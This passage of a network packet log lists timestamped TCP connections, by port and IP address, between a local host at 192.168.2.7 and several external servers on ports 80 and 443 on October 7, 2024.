Oct 7, 2024 19:33:16.070961952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070970058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070995092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072561979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072609901 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072640896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072665930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072688103 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072704077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072726965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072751045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072762966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072774887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072783947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072788000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072805882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072830915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072860003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072871923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072884083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072901011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072913885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072922945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072926044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072940111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072951078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072951078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072963953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.072963953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.072982073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073018074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073057890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073071003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073085070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073102951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073118925 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073134899 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073744059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073757887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073797941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073822975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073827028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073838949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073846102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073858023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073868990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.073873997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073895931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073914051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.073991060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074002981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074016094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074027061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074027061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074034929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074040890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074040890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074048996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074054956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074119091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074131012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074140072 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074145079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074165106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074173927 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074188948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074202061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074207067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074208975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074246883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074258089 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074372053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074383974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074394941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074407101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074412107 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074419975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074433088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.074440956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.074470043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.075042009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.075089931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.091428041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.096366882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.188864946 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.189228058 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.189253092 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.189593077 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.189598083 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.468188047 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.468246937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.468257904 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.468316078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.468354940 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.468728065 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.468754053 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.468786001 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.468796015 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.470113993 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.473634005 CEST	49739	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.473648071 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.474179029 CEST	49739	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.474184990 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.477323055 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.477345943 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.477461100 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.478952885 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.478971004 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.729460001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.730108976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.831156015 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.831227064 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.831275940 CEST	49739	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.831764936 CEST	49739	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.831764936 CEST	49739	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.831780910 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.831789970 CEST	443	49739	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.837388039 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.837416887 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.837555885 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.872940063 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.872956991 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.906728983 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.906910896 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.909898996 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.909898996 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.909914017 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.909930944 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.910633087 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.911093950 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.911112070 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.911317110 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:16.911323071 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.911724091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:17.194753885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:17.194829941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:17.195041895 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.195204973 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.195647955 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.195669889 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.195681095 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.195705891 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.195710897 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.197869062 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.197889090 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.197952986 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.198101044 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.198127031 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.198482037 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.199029922 CEST	49740	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.199039936 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.199408054 CEST	49740	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.199413061 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.294748068 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.294838905 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.294908047 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.295155048 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.295166016 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.295175076 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.295180082 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.297540903 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.297580957 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.297658920 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.297789097 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.297804117 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.313730001 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.313894987 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.313999891 CEST	49740	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.314151049 CEST	49740	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.314151049 CEST	49740	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.314169884 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.314178944 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.315934896 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.315949917 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.316047907 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.316126108 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.316133022 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.396831036 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.400175095 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.400175095 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.400197983 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.400207043 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.502168894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:17.506114960 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.506468058 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.506536007 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.506643057 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.506752968 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.506773949 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.507355928 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.507355928 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.507380009 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.507395029 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.507404089 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.507411003 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.507955074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:17.521859884 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.521892071 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.521998882 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.522384882 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.522397995 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.602611065 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.602791071 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.603198051 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.603233099 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.603249073 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.603260994 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.603266001 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.605700970 CEST	49749	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.605747938 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.605825901 CEST	49749	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.606102943 CEST	49749	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.606121063 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.719736099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:17.720854044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:17.851494074 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.854438066 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.854453087 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.855010033 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.855025053 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.855971098 CEST	49674	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:17.856034040 CEST	49675	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:17.924480915 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.932635069 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.944469929 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.944489002 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.946608067 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.946623087 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.946710110 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.946887016 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.947144032 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.947154045 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.947179079 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.947598934 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.947602987 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.947717905 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.947717905 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.947738886 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.947751045 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.958801031 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.958832979 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:17.958895922 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.959191084 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:17.959208965 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.021370888 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.026751041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.027854919 CEST	49672	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:18.039480925 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.039552927 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.039669991 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.039740086 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.039750099 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.039767027 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.039772987 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.040297031 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.040386915 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.042006969 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.042006969 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.042026043 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.042026043 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.042032957 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.042041063 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.042042971 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.042114019 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.042876005 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.042889118 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.043807983 CEST	49752	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.043821096 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.043875933 CEST	49752	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.043965101 CEST	49752	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.043972015 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.132600069 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.134535074 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.134568930 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.134918928 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.134922981 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.224087954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224102020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224116087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224128962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224142075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224153042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224164963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224170923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.224221945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.224252939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224265099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224275112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224287033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224292994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.224302053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224323034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.224385023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.224425077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224469900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224483013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.224483013 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.224507093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.224533081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.229898930 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.230612040 CEST	49749	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.230623007 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.231214046 CEST	49749	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.231219053 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.231822968 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.231898069 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.231997967 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.232388973 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.232419968 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.232575893 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.232584953 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.262152910 CEST	49753	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.262192011 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.262258053 CEST	49753	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.262547970 CEST	49753	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.262564898 CEST	443	49753	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.307425022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307439089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307451963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307485104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.307506084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.307554960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307566881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307612896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.307735920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307748079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307776928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.307800055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.307907104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307919025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307929993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307944059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.307956934 CEST	80	49718	46.8.231.109	192.168.2.7
